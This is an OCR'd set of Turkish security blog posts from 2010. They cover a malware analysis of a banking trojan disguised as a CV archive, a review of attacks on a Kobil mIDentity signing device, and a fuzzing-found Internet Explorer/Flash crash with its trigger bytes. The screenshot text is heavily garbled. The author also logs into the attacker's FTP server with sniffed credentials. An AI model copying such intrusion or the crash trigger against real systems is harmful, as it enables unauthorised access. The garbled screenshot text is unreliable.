Not: POC olarak genel izleyici kitlesi i¢in teknik detay icermeyen ve Symantec yetkilileri i¢in teknik detay igeren iki farkli video ¢ektim.
Symantec yetkileri ile gectigimiz Cuma giinii videoyu paylastim. Genel izleyici kitlesi i¢in hazirlanan video asagidadir, iyi seyirler...

Basit Malware Analizi (Windows)

Source: https://www.mertsarica.com/basit-malware-analizi/
By M.S on February 9th, 2010

e

Hatirlarsaniz Aralik ayinda sans eseri bir arkadasimin siiphelendigi bir e-postay1 bana géndermesi ve incelemem sonrasinda Tiirkiye'de
internet bankaciligini kullanan miisterileri hedef alan ve caligtigi isletim sistemi {izerindeki kullanicinin internet bankaciligina girisi
esnasinda kullanict ad1 ve sanal klavyeninin ekran goriintiisiinii kayit eden ve tus bilgilerini ¢alan bir trojan kesfetmigtim. Trojan1 nasil
kesfettigim ile ilgili bir yaz1 karalayacagimi belirtmistim ancak araya giren diger igler nedeniyle bugiine kismet oldu.

Bugiinkii yazimin sizlere basitce sliphelendiginiz bir programin igletim sisteminizde ne igler ¢evirdigini anlamaniz i¢in yol gosterecegini
iimit ediyorum.
Hemen konuya girecek olursam, siipheli dosyamizin adi cv_ve resimlerim.rar

Rar dosyasini actiktan sonra igerisinden resim dosyasi goriiniimiine biirtinmiis SCR uzantili bir dosya, RTF uzantili bagka bir dosya, bir
kisa yol dosyas1 ve belden alt1 tiim dosyalar1 agmaya tesvik edecek 3 adet resim ile karsilagtim. (Hedef kitleyi tahmin edebildiniz mi :p)

& C:',Documents and Settings' Administrator’,Desktop’ Analiz'.cy_ve_resimlerim 15 5, |EI|5|
File Edit Wew Favorites Tools Help | f‘"
@ Back = ) - b/ | ) Search [ Folders | & 3 X ) | -
Address lfj Ci\Documents and SettingstadministratoriDesktopianalizicy_ve_resimlerim j Go
Mame = | Size | Type | Dake Modified | Attributes |
il_:] 35 KE JPEG Image 03.11.2009 15:40 &
‘E] 25KB JPEG Image 03.11.2009 15:41 A
¥ 23322250, jpg 37KE  IPES Image 03.11.2009 1544 S
E] W2, scr 295 KB Screen Saver 26.11.2009 21:46 &
CYLrtf 249 KB Rich Text Document 26,11,2009 21:38 A
@ iz Gegrigim ZKB Shortcut 03,11,2009 19:24 A

Kisa yol dosyasinin 6zelliklerine baktigim zaman cv.rtf dosyasinin SCR uzantili diger dosya gibi siipheli oldugunu anlamam pek zor
olmadi.
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T arget type: Application

Target location; spstem32

Target: IXSystemF! oot%hsystem32hemd.exe Ao ot

Start in: I

Shortcut key: INone

Bur: I Mormal window j
Comment; IAccess Shartcut
Find Target... | LChange lcon... Advanced... |

ak I Cancel Lpply

Bildiginiz veya bilmediginiz iizere uygulanabilir dosya basligina sahip herhangi bir dosya, uzantisi farkli dahi olsa komut satirindan
calistirldig taktirde uygulanabilir program olarak calismaktadir. Ornegin calc.exe dosyasiin uzantisii rtf olarak degistirir ve calc.rtf
olarak kaydeder ve komut satirindan calc.rtf olarak ¢alistirirsaniz hesap makinasi uygulamasi kargimniza gikacaktir. Bu yontem oldukca
basit ve eskidir ve hatirladigim kadariyla rahmetli Biilent Tigin, CEH egitiminin ilk veya ikinci dersinde bu yontemden bahsetmisti. Bu
konu ile ilgili detayli bilgiye buradan ulasabilirsiniz.

Genellikle siiphelendigim dosyalari virustotal sitesine yiiklemeyi gorev edinmis biri olarak yine ilk isim tiim dosyalari bu siteye yiiklemek
oldu. Virustotal sitesini bilmeyenler i¢in ufak bir not diiseyim, bu site yolladiginiz dosyay: yaklasik 40 farkli antivirus motoru ile tartyor
ve sonucu hemen size gosteriyor.

/7 Wirustobal. MDS: 0B 4cdi468h | BIEIT74 160791 d4684dd TrojWare. Win32. Trojan AgentGen BackDoor Pois - Windoss Intermet Explorer =181 x|
29 On vinustokalcomaneliis 43276429bb 78631 ScacH1 Thb1 61 4957d1 1 1M1 afed —r S| Bl 2]l X (B Lve sexc g
Ble Edt \Vew Fpvortes [ook Hebp

i Favorkes | s @ cuggeted Sies v B FreeMotmal B | Web Sioe Gallery +

) Vieustotal. MOS: m-mlmasmumm._l | v E) - mm- page- Sefety- Toos- -

Lanaly Zes SUSPILIOUS d
files and facilitates the quick detection of wiruses

T TAL worms, trojans, and all kinds of malware detected
by antivirus engines. More nation..

Flie CV.rtf received on 2009.12.02 15:32:52 (UTC)
Current status: finished
Result: 3/41 (7.32%)

Version Last Update Result
a=-sguared 4.5.0.43 2009.12.02 -
RAhnLab-V3 .0.0.2 2009.12.02 -
AntiVir 7.9.1.92 20098.12.02 -
Antiy-AVL 2.0.3.7 2009.12.02 -
Ruthentium 5.2.0.5 2009.12.02 -
Rvast 4.8.1351.0 2009.12.02 -
AVE B8.5.0.426 20098.12.02 -
BitDefender 7.2 2009.12.02 -
CAT-QuickHeal 10.00 20098.12.02 -
ClamaV 0.94.1 2009.12.02 -
Comodo 3103 2009. en
DriWeb 5.0.0.12182 2009.
|
' ! [ 1 intermet Fa=[®ioow -
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http://support.microsoft.com/kb/811528
http://www.virustotal.com/tr/

7 Wirustotal, MDS: de49ad ] 512394a6975905de 74 5b5dbbS Heuristic BehavesLike. Win32.Dropper.1 TrojWar - Windows Internet Explorer

{:j;"_:-;f ﬁ it o, virustokal com snaksis [43ddc?7 T3ae ha  2b 7CI9ZFS5Ch C7BID151 1 6IaaBe0bens-| 25985 -_-j|E;, Q-;I 1o Live sewch P_-u
Fle Edt View Favorkes JTools Help
= [ @ istes e B 4 B et Sk Gaery =
PY Vrustotal. MDS: dedBadi51230426975905de745b5. .. | ! S v E) - o - Pages Safety~ Toos ighe
s |
File CV2.scr received on 2009.12.03 14:32:36 (UTC)
Current status: finished
Result 7/40 (17.50%)
§ Compact Brint resuts
Antrirus Version Last Update Result
a-squared 4.5.0.43 2009.12.03 -
Ahnlab-V3 5.0.0.2 2009.12.03 -
AntivVir 7.9.1.92 2009.12.03 -
Antiy-AVL 2.0.3.7 2009.12.03 -
Authentiue 5.2.0.5 2009.12.02 -
Avast 4.8.1351.0 2009.12.03 -
AVG B.5.0.426 2009.12.03 -
BitDefender 7.2 2009.12.03 -
CAT-QuickHeal 10.00 2009.12.03 -
ClamaV 0.54.1 2009.12.03 -
Comodo 3103 2009.12.01 TrojWare.WindZ.Trojan.Agent.Gen
Drieb §.0.0,12182  2009.12.03 BackDoor.Foison.767
eSafe 7.0.17.0 2009.12.02 -
eTrust-Vet 35.1.7155 2009.12.03 -
F-Prot 4.5.1.85 2009.12.02 -
F-Secure 9.0.15370.0  2009.12.03 -
Fortinet 4.0.14.0 2009.12.03 - -
[T T memet [ [00% -

SCR ve RTF uzantili iki dosyay: siteye yiikledigimde bos yere siiphelenmedigimi bir nevi teyit etmis oldum.

Biraz daha ileriye giderek CV2.scr dosyasini hex editor ile inceledigimde RAR bagligi ile kargilastim. Bu durum siipheli dosya igerisinde
rar ile sikistirtlmis bagka bir dosyanin var olduguna dair ufak bir isaretti.

E be Edt Dok Optons [ocks Window e imix
2ea2a 4000z 2¢ a8 e ||%%(55 b Q= [w e m|

M%ssmt\nwul

l DEF012345670897 F01
00017446 an38104h-".ptnl (==
000174668 W 1A 07 OO0 CF 90 73 00 00 OD OO OO 0D DO 0D 00 OO O4 6F 7A DO B0 23 00 AA OD OD OD OO 01 OO0 0D 02 10 W cvveBeuvrssnssasDZeoleiccecnssnes
000174
6o ks i |
."‘...z;.3.. ..axe.exn...g .......
cnmmmmal sl R T
.*:..0..Q00PQ.@ =: EAE.H.:03...1M-
../9....-...D?...MN...x.?...U .
00017644 ..K. .55 RNe . &#5. ......Iﬂp o 5..1 H
l'l']Ul7'\t]L3 98# . . &.M{.)B.5.5. .. L s adian
' c. o HF R # R ZeY3Le #1- 3
7y6 !'( I......--HQ({..... L..
........... 2.9, 1o ™D F Guns
";;'," 2.0k Ty
nnooXx
B
00012340 12z oc OLEAUT3Z.dI
16M1 Signed Short 24914 00012378 10 04 WINRAR, S
TENT Unsigned Short 24914 0001239C 5% 38 di\Projects\WinRARISFX\bulidlsfr ar S2\Releasel\sfarar . pdb
32 M1 Signed Long S61144146 DO012BEA 16 10 STARTOLG
128l Unsigned Long 561144146 00012094 [ 06 331003
S9NT Signed Quad 0001321E 5 05 Qugw’
40 Uinsigned Quad 00013244 3 ] QwS37%w’ O Jj
120 Float 821215520019 = o | »
J Data Inspector [ {} strucure Viewer | 5 Compare | W, Chiecksum | 38 Find [ & Bookmarks | [ Output |
8t position 00001 7465 [Offset: 00017465 Walue: B.21215920-019 304762 bytes  [OWR |00 FEAD
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Hex Workshop - [CV2.scr]

[ bl Edt ik Options Jooks Window Help : M.L:Im
2CE2A <%l 20 [RB2 cRD |[%% |55 % Q= [[w <« »m
L LA

% 1,2 3 4 S 6 7 8 9 A B €D E|F 10111201324 15 16 17 18/19 1A 21 D123456789ABCDEF01234567689ABCDEFO1
00012232 72 6F 6D 49 44 4C 69 73 74 41 (0 DO 77 00 53 48 42 72 6F 77 73 65 46 6F 72 46 6F 00 romIDListA..w.SHBrowseForfolderd.. 4
0001 C9 00 S3 48 47 65 74 4D 61 6C 6C 6F 63 00 D5 0D 53 48 47 65 74 53 70 65 63 69 61 72 ..SHGetMalloc...SHGetSpecialFolder
0001 & 4C 6F 63 61 74 69 6F B6E 00 00 E9 D0 53 48 47 65 74 46 69 6C 65 49 6E 66 6F 41 00 69 Location.. SHGetFxleInfoA .SHF1
00012298 6C 65 4F 70 65 72 61 74 69 6F 6E 41 00 00 16 D1 53 6B 65 6C 6C 45 78 65 63 75 74 7C 00 1a0parnt’.mna....ShellE:acutaEn\.l‘
0001 53 48 43 b8 61 6E 67 65 4E 6F 74 69 66 79 00 D0 53 48 45 4C 4C 33 32 2E 64 6C 6C 72 SHChangeMotify..SHELL32.dll...CoCr
0001 C 65 61 74 65 49 6E 73 74 61 6E 63 65 00 00 06 00 43 4C 53 49 44 46 72 6F 6D 53 74 B 01 satelnstance....CLSIDFromString... 2
0D0122FE 4F 6C 65 55 6E 69 6E 69 74 69 61 6C 69 7A 65 00 65 00 43 72 65 61 74 65 53 74 72 47 DleUninitialize...CreateStreamOnHG
00012320 6C 6F 62 61 6C 00 F4 00 4F 6C 65 49 6E 69 74 69 61 6C 69 7A 65 00 6F 6C 65 33 32 4C lobal...Olelnitialize.ole32.d11.0L
00012342 45 41 55 54 33 32 2E 64 6C 6C 00 00 0O 00 0D 00 OO OO 2B D6 4C 4A 00 00 0D OO 78 0 00 'EAUTS2.d1Y........ L o o N T
00012364 00 00 00 OO 0C 00 0D OO OO 00 OO OO 0O OO OO OO 0O OO OO DO S7 49 4E 52 41 52 2E - 31+ ) [P—— WINRAR.SFX. .RS
0001 14 0 F 3E 1 B4 C 00 72 5C D .d:“Projects™
0001 52 5C WanAR\SFX\hul1d\sfzrar32\Ralaase\
0001 ] ] UD 3 R R
0001 41 44 23 cvescesvisssasaranae #A.DRA. .... D#
0001 46 20 40 A..FFF))EE.FFFF)))))) vecu. FFFE.. @
0001 b7 78 DO o BB B wn s W se T ™ v €unsnktn
41l
ﬁ'm«rm B ©ooX
| Address ) | Length ) | Length %) | |
12 oc OLEAUTIZ.dI
10 04 WINRAR . SF
16 10 STARTOLG
6 06 33003 -l
5 o5 qugw’
3 ] Qw53 O 'Jj
»
" Compare | WAC " gFind [&  oupat |
[Offset; 00000000  akse: 23117 304762 bytes oW 0 READ

Tiim stringleri listeledikten Winrar ile ilgili bagka stringler ile de karsilasinca RAR baghigi ile baslayan kisimlart SCR dosyasindan
¢ikartmaya, malware.rar ad1 altinda kaydetmeye ve daha sonrasinda winrar uygulamasi ile agmaya karar verdim.

Hex Workshop - [malware.rar] . _.ll[ﬂ
B) Be Edt Dk Optons ook =18]%

aeaaaju.unaa-we|ﬂaanermmn|}]a{_ll—ﬁlalor]u “rm
2 EN% (MSAE @R |

DOO000B0 52
0oo0on2
(els]ule}
1000
00000c
ooooo
1000
ooooo
00000
100013
0000015 _1
00000176

i P
++E

9E 97 BO CD 5.MuS]0..5...#..s....

Goooo1se 46 Al 7D 82 -V --.-6-- ...t..p H." .

00000 1BA 4A 4C 34 44 "..a..... Boss ' UaneBekaB ..JL4D
00000 BA 67 C7 C7 + C K..55.FNe. &#5 i

0000 AD CO DA 4A i.HI9B#...&. N{ ]G S.

000003

99 23 28 93 ...C...u."1..7. E#RZaYELa #+
r_l._|[|_ - 17 :

2 p:;'m 5| posinstances of n BmHn ooX
81 Signed Byte - [ Address | length ® | Length % | |
BT Uinsigned Byte 00012340 12 oc OLEAUT32.di
1681 Signed Short 00012378 10 0A WINRAR.5FX
11 Unsigned Short 5 » d:\Projects|WinB ARVSFX|buldisfrar S2\Rslease|sfarar pdb
321 Signed Long 00012BEA 16 10 STARTDLG
3281 Unsigned Long 00012094 [ 06 331003
::zuwwm;m 0001321E H s qwow
et o Emlmn 3 08 GWS3T%w O 'JJ
“Data [{Ysuchre viewer ] " compare | HLC BiFina [ & | ouut |

[eady [Offset: 00033215 Vakue: NJA 209429 bytes JowR A0 FEAD
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W C:\Documents and Settings\ Administrator\Desktop\ Analiz\cv_ve_resimlerim\n

File Edt Vew Fgvortes Tools Hep
Oteck - O - | Fsoarch () Fders | (5 3 X 9| -
.wldr."—- and . & " kzicy_ve_resimiermimah

Name | size [ Type | Date Modified | attributes |
r o 249KB  Applcation 26.11.200921:38 A

Bmlv-ml Compatibity | Secuity | Summary |

|mem

Appcation
e

c and Seltings'
248 KB [253 954 bytes)
252 KB (258,048 bytes)

10 Asabk 2009 Persembe, 21:2231
26 K.atam 2009 Pergembe, 21:38:28
10 Asabic 2009 Peryembe, 21:2325

I Feadorkj I~ tikden

e exe propertes TP

General | Wersion I Compatibility | Security I Summary I

i':;"—.i' Iaxe Eve
Y

Type offile:  Application

Description:  axe

Location: C:ADocuments and Settings\AdministratorsDesktoph
Size: 248 KB (253.954 bytes)
Size ondisk: 252 KB [258.048 bytes]

Created: 10 Arahl 2009 Pergembe, 21:22:31
Maodified: 26 K.azm 2003 Pergembe, 21:38 28
Acceszed: 10 Arahle 2009 Pergembe, 21:22:31

" Hidden Advanced... |

Altributes:

QK. I Cancel Spply

Bingo, axe.exe adinda yeni bir dosya karsima ¢ikti.

Bu dosyayi1 da hex editor ile inceledigimde decryptbyte, decryptstring fonksiyonlari ile kargilastim. Bu fonksiyonlar yazilimin bir sekilde
encrypt edildigini ve ¢aligma esnasinda kendisini hafizada decrypt ettigi ihtimalini giindeme getirdi.
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81

[ ple Edt [k Options Jools Window Help =& x|
reged | (snatz/ o0 |[nase cpd %% (EE =0 LR

» NeaH @
o o
33 BA Ds o :J
0B 0o EOD 1] 7|
00 &I D0 6E 00 74 i
00 7 0 4 7
11 00 77 00 66 O
i D0 70 0O ;
: . =
i‘l 114 instances of 'strings’ found In axe.exe AN oo
Address &, ngh - Length % ﬂ
2 [ Project]
5 o5 F
6 08 q
s o5 e
5 05 Madu
7 a7 asgasga
08 FSHISH
s 3 rosgram Files\Microsoft Visusl Studso! VER8\VES.OLB
M &L :';\.-'"’o vbrvmé0, dif 3
5 05
08
1 oo
1 oo
i 08
12
14
12
12
12 0
12 oC MUTHPMHLITY
12 OTSNIQVMMGGET -
‘ | 3]
& Data Inspector ]{ } Structura Viewer ] o Checksum 8 Find I 4 Bookmarks |-} Output ]
Ready Offset: 00000000 (vakue: 23117 253954 bytes iR

Immunity debugger ile programi ¢alistirdigimda da bu ihtimal iyice giiclenmisti.

oy 4. m«xvusz‘lkilw-! lemtwhcPkbz

=181 x|
=181 x|

. >

P Quick statistical best of module 'axe’ reports that its code section is either to«onwd encryphed, or contains large amount of embedded data. Results of code
5 analysis can be very unreliable or simply wrong, Do you want to continue anatysss

Address | Hex du

[21:41:01] Program entry pont Runring

Trojan1 sandboxta ¢alistirdigimda kendisini msmgrs.exe ad1 altinda system32\wins\setup klasorii altina kopyaladigini gérdiim.
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{& Sandboxie Control N

File Miew Sandbox Configure  Help

=10l x|

Program MName

| PID

| windaw Title

= @ Sandbos Def aultBox

D SandboxieRpcSs.exe
D sandboxieDoomLaunch. exe
D MSMJrs, exe

D cmd.exe

D cmd.exe

D cmd.exe

D regsyraz. exe

Active

3800

904

1868

&00

2565

25585

5585

& Sandbosie Control

= User Files
= Personal
= Cookies
index.dat (32 KB)
= Desktop
= Anslkz
Bl v _ve_resimisrim
makware
= Local Settings
£l Apphcation Diata
= Microsoft
= Dr Watson
drwtsn3Z.log (71 KB)
user.dmp (33 KB)
= History
El Hstory,IES
indesc.dat (48 KB)
Temp
=i Temporary Internet Fles
= Content.IES
index.dat (176 KB)
= Start Menw
= Programs
= Startup
ntdllink (705 B)
desktop.ini (274 B)
DONT-USE.TXT (1288)
RegHive (256 KB)
Barkiue | OG (1 KRY

Sira en can alici noktaya gelmisti, peki bu program ¢alistiktan sonra ne yapiyordu ?

|

[k yaptigim is wireshark sniffer programini galistirmak ve programin nereyle haberlestigini tespit etmek oldu ve bir bingo daha program
yurt diginda bir ftp sunucusuna baglaniyordu.
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7! Intel(R) PRO/1000 MT Network Connection: Capturing - Wireshark ) =101

File Edit Wiew Go Capture Analyze Statistics Telephony Tools Help
SN BsEx@L|lacsnTa/EEIQAQAAD| & -

Fi_Iter:I ¥  Expression... Clear Apply

ation Protocol Info
= dard gue A TTp . COf
standard guery response A

elcome to Pure-FTPd [priwvsep] [TLS] —-

168.142.132 ftp > Td-postman LACK] Sen=267 ACK=18 win-64240 Len=0
62,14 2 Respons 331 User OK. Password reguired

168.142.132 ftp » td-postnM WO Ack=40 Win=54240 Len=0
168.142.132 Response: 230-Your bandwidth usage is restricted

168.142.132 TCP ftp > td-postman [ACK] Seq=445 Ack=41 win=8423% Len=0

TAR.147.137 FTP RASANNSA: 230 1 AMALT . |
4 1]
Frame 1 (79 bytes on wire, 79 bytes captured) i’
Ethernet II, src: vmware_eb6:ef:b9 (00:0c:258:86:ef:bh9), Dst: vmware_ea:fh:b3 (00:50:56:ea

_:"_ LI

4

CODD 00 50 56 ea Th b3 00 OC 29 e6 ef b9 O8 00 45 00 B eenenens Wernaranags E. -
0010 00 41 04 Sc 00 00 B0 11 00 00 <O af 8e 84 c0 al WA PRl

0020 Be 02 &8 33 00 35 00 2d Fa <0 dc 67 01 00 00 01 e 2

0030 00 00 00 00 00 00 03 66 74 70 Ob 66 72 65 65 77 ....... iR tp“

o040 85 62 74 6F F7 6e 03 63 &F &d 00 00 01 00 01 - .. ... 5
°| IntelfR) PROS1000 MT Network Connection: <liv... |Packets: 18 Displayed: 18 Marked: 0 |Proﬁle: Default &

Malum ftp protokolii sifresiz haberlestigi icin kullanic1 adin1 ve sifreyi tespit etmem hicte zor olmadi. Bende ayni kullanici adi ve sifre
ile ftp sunucusuna baglandigimda yaklasik 696 tane kullaniciya ait olan tus kayitlar1 ve internet bankaciligina giriste kayit edilmis olan

ekran goriintiileri ile kargilagtim.

&z ftp com - FileZilla IR
Dosya Qizen Gorindm Akfarm Surucu Yer Imleri Yardem  Yeps bir sirim bulundu!
E-BkkQ DLOER | F e
srvc: [N = s s [ oo Fooerseeess o[ [dbegen ||
5 4 n o - .‘J

pomut:

poemut:

w | | Uzaktakd site:
e
2 _private
$ vt bn
= £ _vi_onf
2 vfi it ﬂ
% ), Call.OF.Duty.Modem. Warfare. 2.Soundtrack-TBS Dosya Ad | Boyut | Tur [ son Lzivier ta
F ?.e-a_\'.np =l

Dosys Ad_/ I Boyut [ Tir [ Son deysidc |

|
jSech 696 dosya ve 5 diain. Toplam boyut: 8.038.244 bayt

1 dosya. Toplam boyut: 223 bayt
Sunucu [ Yerel dosya Yon | rzaktaki dos Oncellc | Durum |

-1 Altaren Kuyrudu: bog e
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£ UMAL virtual [17_19_43).zip - WinRAR (evaluation copy) : =18 x|

BUAREHMNRO &

(o]
"]
Add  EwtractTo  Test Find Wizard VirusScan Comment  SFX
63} E UNAL virtual [17_19_43].7ip - ZIP archive, unpacked size 519,820 bytes =
Mame = Size Packed | T) Madified CRC32 &
& https___sube. isube_encurl_SadcS30ath3547b2b64... 5530 383 Bitmap Image 10.12.2009 12:14  BAD3ISI2A
&% https_sube. isube_encurl_Sadc530ath3547b2b64. 5530 941 Bitmap Image 10.12.2009 12:14 TIZI0AH
&% hitps__sube. isube_encurl_Sadc530afb 35472064, .. 5.530 453 Bitmap Image 10.12.2009 12:14 E909650E
& https___sube. sube_encurl_Sadc530afb3547b2beA. .. 5530 340 Bitmap Image 10.12.2009 12:14 IFO8T2EY
& https__sube. isube_encurl_Sadc530afb3547b2bé4. .. 5.530 369 Bitmap Image 10.12.2009 12:14  COOOE2FD
&% https___sube. mube_encurl_SadcS30afb3547b2b64... 353 284 Bitmap Image 10,12.2009 12:14  63AICTSA
& https__sube. mube_encurl_Sadc530afb3547b 2064, 5.530 715 Bitmap Image 10.12.2009 12:14  AEEAFBIC
&% hitps_sube. sube_encurl_11ch4962299d860700... 5.530 811 Bitmap Image 10.12.2009 10:49 33808328
&% https__sube. sube_encurl_11ch4962299d860700. .. 5530 539 Bitmap Image 10.12.2009 10:49 E6SDFGF4 u
& hitps___sube. isube_encurl_11ch4962299d860700. .. 5.530 455 Bitmap Image 10.12.2009 10:49  EAES27D1
& https___sube. mube_encurl_11cb496 22994860 700 5.530 387 Bitmap Image 10.12.2009 10:49 88978002
& https__sube. sube_encurl_11ch4962299d860700... 5.530 309 Bitmap Image 10.12.2009 10:49 A950 16E8
&% https__sube. sube_encurl_11cb4962299d860700.... 5.530 451 Bitmap Image 10.12.2009 10:49 A5304273
& https___sube ssube_encurl_1 1ch4962299d860700.. 5.530 285 Bitmap Image 10.12.2009 10:49  OFFCBCTF
&% hitps__sube. sube_encurl_11ch4962299d860700.... 553 435 Bitmap Image 10.12.2009 10:49 15381C47
& hitps__sube. isube_encurl_11ch4962299d860700. .. 5.530 295 Bitmap Image 10.12.2009 10:49  BCTDACA2
& https__sube. ssube_encurl_1 1cb49622994860700. . 5.530 757 Bitmap Image 10.12.2009 10:50 42645380
& https___sube. mube_encurl_cBbeObe0 166957784, 5530 161 Bitmap Image 10.12.2009 14:27 55CI848F
& https__sube. mube_encurl_cBbeObe0 16b35f7784.... §.530 858 Bitmap Image 10.12.2009 14:27 1148037
& hitps__sube isube_encurl_cBbeObe( 16b35F778d.... 5.530 316 Bitmap Image 10,12.2009 14:29 2420515
&% https_sube. sube_encurl_cBbeObe( 16b95F7784f... 5530 538 Bitmap Image 10.12.2009 14:29 119F2CT2
&% htips___sube isube_encurl_cBSbelbed 16b35f778df... 5.530 T2 Bitmap Image 10.12.2009 14:29 C(DC62EN
& hitps__sube. isube_encurl_cBbeObel 16b35F7784f ... 5.530 826 Bitmap Image 10.12.2009 14:29  83A151FD
& https__sube. fsube_encurl_cBbeObe0 16b95f7784f... 5.530 531 Bitmap Image 10.12.2009 14:31 FFI22F8
& https__sube. ssube_encurl_cBbeObe0 16b95f7784f... 5.530 409 Bitmap Image 10.12.2009 14:31 E21235AE
&% https_sube. jsube_encurl_cBbeObe0 16b95f7784f... 5530 327 Bitmap Image 10.12.2009 14:32 49C968E]
& https__sube. isube_encurl_cBbeObel 16b95F7784f... 5530 471 Bitmap Image 10.12.2009 14:32  E1CC487S
& https__sube. sube_encurl_cBbeObel 16b35F7784f .. 5.530 308 Bitmap Image 10.12.2009 14:32  6CIAEFD
& hitps__sube. isube_encurl_cBbelbel 16b95F7784F ... 5.530 528 Bitmap Image 10,12.2009 14:32  4BABS4TC
&% https__sube. mube _enourl_cBbelbe0 16b95f7784f... 5.530 411 Ditmap Image 10.12.2009 14:32  COC3802C
& httos  sube. isube encurl cBbeObe0 16b95f778df... 5.530 309 Bitmao Imaoe 10.12.2009 14:32  FECBCBAS ﬂ
=1 Total 519.820 bytes n 94 fles

Daha da ileriye giderek trojan1 decompile etmek ve memory'den decrypt edilmis halini capture ederek incelemek istesemde bir tiirli
firsat bulamadim.

That's all folks...

Kobil miDentity...

Source: https://www.mertsarica.com/kobil-midentity-guvenlik-incelemesi/
By M.S on January 27th, 2010

P

Gegtigimiz gilinlerde Kobil mIDentity USB aygitini inceleme firsatin1 yakaladim. Nedir bu midentity diyecek olursaniz kabaca birden
fazla islemi giivenli bir sekilde gerceklestirebilen bir aygit olarak piyasaya siirlilmiis, sifrenizi, sertifikanizi, OTP'nizi, doman sifrenizi
vb.lerini sadece pin girerek sistemlere kendinizi dogrulatmanizi saglayan akilli bir aygit olarak diisiinebilirsiniz. Kullanim alanlarina
bakacak olursak, internet bankaciligina giristen, is e-postalarinizi ve dosyalarimizi sifrelemeye ve imzalamaya kadar bir ¢ok alanda
kullanabiliyorsunuz. Uriin hakkinda daha detayli bilgi almak icin buraya tiklayabilirsiniz.

Gelelim bizi asil ilgilendiren kisma, bu kadar marifetli bir aygit olmasina ragmen her islemi ayni 6lgiide gilivenli olarak yerine
getirebiliyor mu ?

Inceledigim aygit demo aygiti oldugu igin PIN'i dnceden belirlenmis, sertifikalari yiiklenmis ve autorun ile galistirildiginda Kobil
tarafindan hazirlanmis bir demo sayfasina yonleniyor ve bu sayfada aygiti test etmeye imkan tantyordu.

Demo sayfasina girdikten sonra Kobil'in reklam sayfasi ile karsilagiyorsunuz ve bu sayfayi gectikten sonra hemen karsiniza aygiti
denemek icin tiirlii sayfalar sizi karsiliyor, giivenli girig, dosya sifreleme, pin degistirme ve puk degistirme.

Giivenli giris, internet bankaciliginda kullanilan mobil imza ile ayni oldugu i¢in ve size sunucu tarafindan verilen bir metni aygit ile
imzalayarak kars1 tarafa gondermeniz istendigi i¢in sunucu ile aygit arasina girmeniz ve imzalanan metni degistirmeniz ve sunucuya
gondermeniz durumunda haliylen hatali imza uyarisi ile karsilasiyorsunuz, bu kisimda herhangi bir sorun ile karsilagmadim.

Dosya imzalama ise uygulama iizerindeki goz at butonuna basarak diskiniz iizerinde yer alan herhangi bir dosyay: seciyorsunuz, pin
girerek aygita imzalatiyorsunuz ve daha sonrasinda sunucuya génderdiginizde sunucu dosya ile imzay1 karsilagtirarak sizin bu dosyay1
imzaladigimizi teyit etmis oluyor. Giivenli giriste oldugu gibi islem sunucu tarafindan baslatilmiyor aksine bu defa istemci imzalama
islemini baglatiyor ve aygit ile imzalayip gonderiyor. Aynen bende suan sizin aklinizdan gegirdiginiz gibi "istemci tarafindan baslatilan
bir islem bir sekilde bypass edilir mi?" diisiincesi ile ise koyuldum ve bir trojan hayal ettim.

Trojanimiz biz X dosyasint se¢sekte o gidip memoryden gidip Y dosyasi ile degistirse, 6n yiizde X dosyasi goziikmesine ragmen arka
tarafta Y dosyasi imzalansa ve sunucuya gonderilse bizim haberimiz olur mu ? Sunucu size sen bu dosyay1 imzaladin diye transfer
iglemi tamamlandiktan sonra gosterse dahi trojan Man-in-the-Browser yetenegine sahipse sunucu tarafindan gelen yanitida degisterecek
ve haberimiz olmayacaktir.

Istemci tarafinda baslatilan ve gergeklestirilen dosya imzalama isleminde bu sorun var ise peki ya istemci tarafinda baslatilan diger bir
iglem olan internet bankaciligi islem imzalamada da ayni sorun yasanir mi1 yaganmaz mi1 sorusunun yanitini size birakiyor, Kobil'in kisa
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zaman icerisinde bu tiir basit miidahaleleri engellemek igin ek kontroller uygulamasini {imit ediyorum. (Not: Kullandigim aygitta yer
alan uygulamalar 2008 yilindaki siiriime ait, belki bu gecen zaman zarfinda bu sorunlar ortadan kalkmis olabilir, bu nedenle son siirlime
giincellemenizi her durumda dneriyorum.)

Sonug olarak dosya imzalamay1 gercgeklestiren bir trojan tabiiki yazmadim ancak pratikte nasil gergeklestirilebilecegine dair ufak bir
video hazirladim, iyi seyirler...

[2010-01-28 19:03:46] Giincelleme: mIDentity'nin yeni siiriimiinde memory'e miidahale edilmesi engellenmis, kontrol ettim ancak

asmak i¢in ugrasmadim. imzalama islemi isletim sistemi iizerinden baslatildig: siirece her zaman asilma riski olacaktir.

Internet Explorer 6/7/8 DOS Vulnerability (Shockwave Flash
Object)

Source: https://www.mertsarica.com/internet-explorer-678-dos-vulnerability-shockwave-flash-object/
By M.S on January 19th, 2010

P

File fuzzing ile minik bir kesif yaptim.
1360. byte 44 ve sonraki 3 byte sirasiyla 43 42 41 olursa internet explorer gogiiyor, sorunun ana kaynagina bakildiginda ise Adobe
shockwave addonu (Flash10d.ocx) oldugu anlasiliyor...

POC i¢in buraya tiklayabilirsiniz.
Internet Explorer 6 - XP SP3

Fi Edit  View Y Tools  Help E
\) Back 'J B @ ; :] /':W Search ‘?/'L‘? Favarites &} E’B - t__;; I::i @ ﬁ
Address ||ﬁ E:iJunkiBugsibug, swf ki
@ To help protect your security, Internet Explorer has restricked this file from
options. ..
Internet Explorer
Internet Explorer has encountered a problem and needs :
to close. We are sonry for the inconvenience.
If you were in the middle of something, the information you were working on
might be lost.
Far more information about this emar, click here,
Debug ! Cloze I
Internet Explorer.
Eror signature
Apphame: iexplore. exe Appter: B.0.2900,5512 ModM ame: flash10d ocx
Modver: 10.0.42.34 Offset: 000c59a4
Ta view technical infarmation about the error repart, click here. Cloze I
@ Done d Iy Computer

Internet Explorer 7 - XP SP3
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£ unk\Bugs\bug. swi - Windows Internat Explorer

Internet Explorer has encountered a problem and needs
to

. We ate sony lor the inconvenience.

1t you the maddie of tomathing, the on pou wele working on
might be lost
o mose information about this eeror. click hers.
oy | ==
Internet Explorer
Eiror signature
AppName: iexplore exe. Apgher 70573013 ModMame: flash 0d ocx
Modver 10.0 4234 Offset 000c5324
Too view technacal nlomation about the eor report. chck here. Close

Internet Explorer 8 - Windows 7

C\Users\Mert | Desktop) 1360.swi - Windows Intermnet Explorer R =l8x|
——

Cy6s 2] Covsersmertipeskiop\1360.swf Ell#2lx [P cooge o -
% B3 RoboForm + [Search =] witogns = ol (passcards) | & SepFormFling | 3 Save I Generate (g Swmc

i Favorites @ C:\Users\Mert\Deskiop| 1360, swf

& Internet Explorer

